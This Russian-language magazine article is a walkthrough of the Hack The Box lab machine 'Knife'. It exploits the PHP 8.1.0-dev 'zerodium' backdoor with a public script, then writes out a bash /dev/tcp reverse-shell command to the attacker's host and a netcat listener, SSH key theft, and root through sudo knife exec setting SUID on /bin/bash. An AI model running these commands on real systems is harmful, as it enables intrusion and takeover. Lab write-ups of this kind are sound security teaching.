Хакер - HTB Knife. Эксплуатируем нашумевший бэкдор в языке PHP
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка опоры
- Локальное повышение привилегий
Сегодня мы с тобой пройдем легкую машину под названием Knife с площадки Hack The Box. Ее изюминка — это поразивший всех, но быстро обнаруженный и запатченный бэкдор в PHP 8.1.0-dev. Мы разберемся, что же все‑таки делать, если вдруг попалась такая экзотика, а также пройдем весь путь от поиска уязвимостей до захвата хоста.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP машины в /etc/hosts, чтобы дальше обращаться по удобному адресу и не печатать IP.
10.10.10.242 knife.htb
И сканируем порты.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Мы наблюдаем два открытых порта: 22 (служба SSH) и 80 (Apache 2.4.41). На SSH нам пока делать нечего, поэтому будем изучать сайт.

На самом сайте не находим ничего интересного — там есть несколько скриптов на JS, но они для нас бесполезны.
Нам нужно провести более глубокий анализ. Для этого есть, к примеру, утилита WhatWeb — она распознает веб‑технологии, в том числе систему управления контентом (CMS), платформы для ведения блогов, пакеты статистики и аналитики, библиотеки JavaScript, веб‑серверы и другие вещи. К тому же к WhatWeb есть более 1700 плагинов, которые можно использовать в агрессивном режиме сканирования. Но если запустить программу с настройками по умолчанию, то будет выполнен всего один запрос.

Из всей представленной информации наиболее интересен заголовок X-Powered-By, по которому определим версию PHP 8.1.0-dev. Слово dev означает, что версия PHP тестовая, а значит, в ней могут быть уязвимости. Поищем их!
Справка: поиск готовых эксплоитов
При пентесте лучше всего искать эксплоиты при помощи Google, поскольку этот поисковик заглядывает и в личные блоги, и в самые разные отчеты. Ускорят дело специализированные базы вроде Exploit-DB — там часто можно обнаружить подходящие варианты. Если ты работаешь в специализированной ОС вроде Kali Linux, то эта база у тебя уже есть и для поиска можно использовать утилиту searchsploit.

Это как раз тот случай, когда searchsploit нам не помогла, а вот в Google удалось найти кое‑что интересное.
ТОЧКА ОПОРЫ
Версия PHP 8.1.0-dev была выпущена с бэкдором, но разработчики быстро обнаружили его и удалили в релизе.
Если эта версия PHP работает на сервере, злоумышленник может выполнить произвольный код, отправив заголовок User-Agentt. Как можно заметить, если изучить исходники, код выполняется в функции zend_eval_string, если строка из HTTP-заголовка User-Agentt начинается с zerodium.

Для эксплуатации уязвимости можно использовать эксплоит Ричарда Джонса, он даст нам RCE.
python3 php_8.1.0-dev.py -u http://knife.htb/ -c 'id'

И сразу кидаем реверс‑шелл.
Справка: реверс-шелл
Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».
В таких случаях пригодится rlwrap — readline-оболочка, которая в числе прочего позволяет пользоваться историей команд. Она обычно доступна в репозитории дистрибутива.
apt install rlwrap
В качестве самого листенера при этом можно использовать широко известный netcat.
rlwrap nc -lvp [port]
Выполняем подключение и ловим бэкконнект.
python3 php_8.1.0-dev.py -u http://knife.htb/ -c "/bin/bash -c 'bash -i >&/dev/tcp/[ip]/[port] 0>&1'"

В директории /home/james/.ssh находим пару ключей пользователя. Так как соединение SSH более стабильное, копируем приватный ключ на локальный хост, назначаем права 0600 и подключаемся к хосту. Так мы берем флаг пользователя.
chmod +x id_rsa
ssh -i ./id_rsa james@knife.htb

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Первым делом проверяем наиболее вероятные места повышения привилегий — в первую очередь настройки sudoers.
Справка: sudoers
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.

В sudoers прописан привилегированный запуск программы /usr/bin/knife без пароля (NOPASSWD). Этот файл — ссылка на программу в директории /opt, которая, возможно, связана с языком программирования Ruby. Об этом говорит упоминание слова gem, что, скорее всего, указывает на использование системы управления пакетами RubyGems.


Посмотрим справку приложения. Здесь интересна команда exec, которая принимает один аргумент — путь к скрипту (не считая аргументов самого скрипта).

Что это за скрипт, не говорится, но мы помним намек на RubyGems. Сделаем тестовый скрипт на Ruby, который выводит строку Hello World!, и отдадим его приложению.
echo 'puth "Hello World!"' > test.rb
sudo /usr/bin/knife exec test.rb

Скрипт успешно отработал, а значит, осталось лишь изменить его, чтобы он выполнял нужные нам команды. Использовать функцию system, чтобы запустить реверс‑шелл, не получилось, поэтому пришлось искать другие способы закрепиться в привилегированном контексте. Например, можно записать ключи SSH, создать привилегированных пользователей и так далее. Я решил назначить бит SUID оболочке /bin/bash.
Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
echo "system('chmod +s /bin/bash')" > test.rb
sudo /usr/bin/knife exec test.rb
/bin/bash -p

Мы получаем флаг рута и таким образом захватываем машину.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei